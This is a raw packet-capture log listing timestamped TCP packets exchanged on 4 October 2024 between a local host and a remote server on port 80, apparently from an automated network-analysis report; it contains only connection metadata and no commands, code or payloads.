Oct 4, 2024 09:52:42.769269943 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769282103 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769289017 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769296885 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769309044 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769310951 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769319057 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769325972 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769334078 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769341946 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769349098 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769361973 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769372940 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769587040 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769602060 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769615889 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769628048 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769629002 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769638062 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769644022 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769650936 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769658089 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769664049 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769674063 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769680977 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769689083 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769694090 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769702911 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769707918 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769716978 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769717932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769731998 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769733906 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769754887 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769766092 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.769959927 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.769977093 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770003080 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770015955 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770097971 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770112038 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770127058 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770139933 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770140886 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770150900 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770154953 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770165920 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770169973 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770175934 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770186901 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770195007 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770207882 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770217896 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770520926 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770535946 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770550013 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770562887 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770576954 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770586967 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770677090 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770699024 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770714045 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770720005 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770728111 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770733118 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770742893 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770750999 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770757914 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770764112 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770773888 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770777941 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770795107 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770797968 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770814896 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.770822048 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770832062 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.770848036 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771022081 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771037102 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771064997 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771078110 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771163940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771178961 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771192074 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771205902 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771207094 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771215916 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771220922 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771231890 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771243095 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771245956 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771255970 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771260023 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771275043 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771285057 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771290064 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771300077 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771303892 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771311045 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771317959 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771327972 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771332979 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771346092 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771348000 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771358013 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771362066 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771372080 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771375895 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771390915 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771406889 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771410942 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771410942 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771420956 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771435022 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771445036 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771450043 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.771456003 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771469116 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.771487951 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772116899 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772133112 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772146940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772161961 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772166014 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772176027 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772177935 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772190094 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772198915 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772206068 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772217989 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772219896 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772228956 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772234917 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772249937 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772255898 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772255898 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772265911 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.772269011 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772284985 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.772294998 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774610996 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774630070 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774646044 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774660110 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774661064 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774672985 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774682999 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774693012 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774766922 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774790049 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774801970 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774812937 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774821997 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774828911 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774843931 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774848938 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774857998 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774858952 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774872065 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774873018 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774885893 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774887085 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774902105 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774909019 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774916887 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774918079 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774931908 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774931908 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.774945021 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774965048 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.774985075 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775000095 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775013924 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775018930 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775027990 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775029898 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775043964 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775049925 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775058031 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775062084 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775072098 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775072098 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775087118 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775093079 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775100946 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775103092 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775114059 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775114059 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775130033 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775132895 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775142908 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775145054 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.775160074 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.775177956 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851088047 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851114988 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851133108 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851171970 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851195097 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851210117 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851226091 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851239920 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851249933 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851254940 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851270914 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851272106 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851284027 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851291895 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851308107 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851322889 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851322889 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851337910 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851342916 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851351976 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851353884 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851366997 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851375103 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851392031 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851407051 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851413012 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851428986 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851444006 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851452112 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851457119 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851463079 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851474047 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851479053 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851489067 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851506948 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851672888 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851716042 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851735115 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851751089 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851773977 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851788998 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851878881 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851893902 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851907969 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851916075 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851922989 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851932049 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851938009 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.851944923 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851963997 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.851973057 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852030993 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852046013 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852068901 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852072954 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852082968 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852083921 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852098942 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852103949 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852113008 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852117062 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852129936 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852129936 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852144003 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852144957 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852163076 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852173090 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852487087 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852503061 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852518082 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852525949 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852533102 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852550030 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852559090 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852581024 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852617979 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852653980 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852737904 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852754116 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852768898 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852775097 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852785110 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852787971 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852798939 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852803946 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852816105 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852816105 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852832079 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852835894 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852844954 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852865934 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.852978945 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.852993965 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853010893 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853015900 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853029966 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853044033 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853100061 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853113890 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853128910 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853132963 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853143930 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853143930 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853157043 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853178978 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853354931 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853370905 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853384972 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853390932 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853399992 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853404045 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853415012 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853418112 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853430033 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853444099 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853444099 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853445053 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853460073 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853462934 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853472948 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853476048 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853492022 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853503942 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853600979 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853638887 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853718996 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853734016 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853748083 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853754997 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853760958 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853765965 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853781939 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853786945 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853791952 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853801966 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853816986 CEST	80	57015	147.45.44.104	192.168.2.4
Oct 4, 2024 09:52:42.853821039 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853831053 CEST	57015	80	192.168.2.4	147.45.44.104
Oct 4, 2024 09:52:42.853832006 CEST	80	57015	147.45.44.104	192.168.2.4
